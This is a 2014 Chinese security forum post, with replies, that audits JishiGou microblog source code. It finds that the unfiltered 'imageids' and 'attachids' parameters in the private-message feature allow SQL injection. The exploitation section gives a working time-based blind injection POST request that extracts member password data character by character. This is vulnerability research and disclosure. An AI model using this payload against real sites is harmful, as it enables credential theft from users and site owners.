[年终征文] 记事狗微博注入
本帖最后由 ilx 于 2014-1-27 23:21 编辑##########################################
#Title : 记事狗微博注入
#Time :2014年1月27日
#Team:08sec team
#Author : il
#首发 : 08安全小组
#######################################
测试版本: 20140124
1.分析:
文件名:pm.mod.php
..........以上省略 ..........
load::logic('pm');
$PmLogic = new PmLogic();
$pmid = $this->Post['pmid'];
if($che = $this->Post['che']){
$this->Post['to_user'] = implode(",",$che);//发送的账号名
}
$this->Post['message'] = jpost('message', 'txt'); //内容
if($pmid > 0){
$return = $PmLogic->pmSendAgain($this->Post);
}else{
$return = $PmLogic->pmSend($this->Post); //不设置pmid值的话进到pmSend函数里 我们进去看看
}
..........以下省略 ..........
//master.mod.php
$this->Get =&$_GET;
$this->Post =&$_POST;
--------------------------------------------------
文件名:pm.logic.php
..........以上省略 ..........
$to_user_list=array();
. .........中间省略 ..........
foreach($to_user_list as $to_user_id => $to_user_name)
{
$data = array(
"msgfrom" =>$susername,
"msgnickname"=>$snickname,
"msgfromid"=>$suid, "msgto" => $to_user_name['username'], "tonickname" => $to_user_name['nickname'], "msgtoid" => $to_user_id, 'imageids' => $post['imageids'],
'attachids' => $post['attachids'],//
"subject" => $post['subject'], post的值是由pm.mod.php传过来的 我们继续往下看
"message" => $post['message'],/
"new"=>'1',
"dateline"=>$time,
);
. .........中间省略 ..........
#标记音乐和附件,使清缓存的时候不会把附件删除
if($data['imageids']){
DB::query("update `".TABLE_PREFIX."topic_image` set `tid` = -1 where `id` in ({$data['imageids']})"); //没有使用单引号 ,也没过滤变量直接入口了
}
if($data['attachids']){
DB::query("update `".TABLE_PREFIX."topic_attach` set `tid` = -1 where `id` in ({$data['attachids']})"); //没有使用单引号 ,也没过滤变量直接入库了
}
由于程序如果执行报错的话 就会被记录在文件里 所以只好盲注入了
2.利用 :
需要登录的情况下
ajax.php?mod=pm&code=do_add
POST提交
to_user=admin&message=eeeeeeeeeeeeeeeeeeeeee&save_to_outbox=0&imageids=1&attachids=SELECT IF(ASCII(MID(PASSWORD,1 ,1)) = 48, NULL, SLEEP(1)) FROM jishigou_members
执行的sql语句:
update `jishigou_topic_attach` set `tid` = -1 where `id` in (SELECT IF(ASCII(MID(PASSWORD,1 ,1)) = 48, NULL, SLEEP(1)) FROM jishigou_members)
(ps :attach.logic.php
$ids = $this->get_ids($ids, 0, 1);
这句如果能绕过就能2次注射下啊...
) 草 你终于写完了 好牛逼。 赞一个。~ Ts
基友们都知道了。 赞一个。~ 不错,支持个。。 学PHP有段时间了,希望楼主还有挖掘漏洞的源码能借鉴一下。 没看明白。
Re: [年终征文] 记事狗微博注入
这个分析很详实,从代码审计到利用思路都写得很清楚。特别是直接定位到 `attachids` 和 `imageids` 两处未过滤的参数,点出了盲注的触发条件,很适合用来练习SQL注入漏洞挖掘。感谢分享!Re: [年终征文] 记事狗微博注入
感谢ilx分享的漏洞分析,写得很详细。从代码审计到利用构造都很清晰,尤其是注意到程序报错会被记录所以采用盲注的思路很实用。这个漏洞虽然需要登录,但影响面不小,给站长们提了个醒。08sec team的成果一直很有质量,希望以后能多看到这样的技术帖。Re: [年终征文] 记事狗微博注入
感谢分享这个漏洞分析,写得挺清晰的。从代码里看,`imageids` 和 `attachids` 直接拼接进入 SQL 查询,没有过滤也没有加引号,确实存在注入点。而且你提到因为错误会被记录,所以用时间盲注的思路也很实际。请问这个版本(20140124)后续有官方补丁修复吗?或者有没有推荐的安全过滤方式?
页:
[1]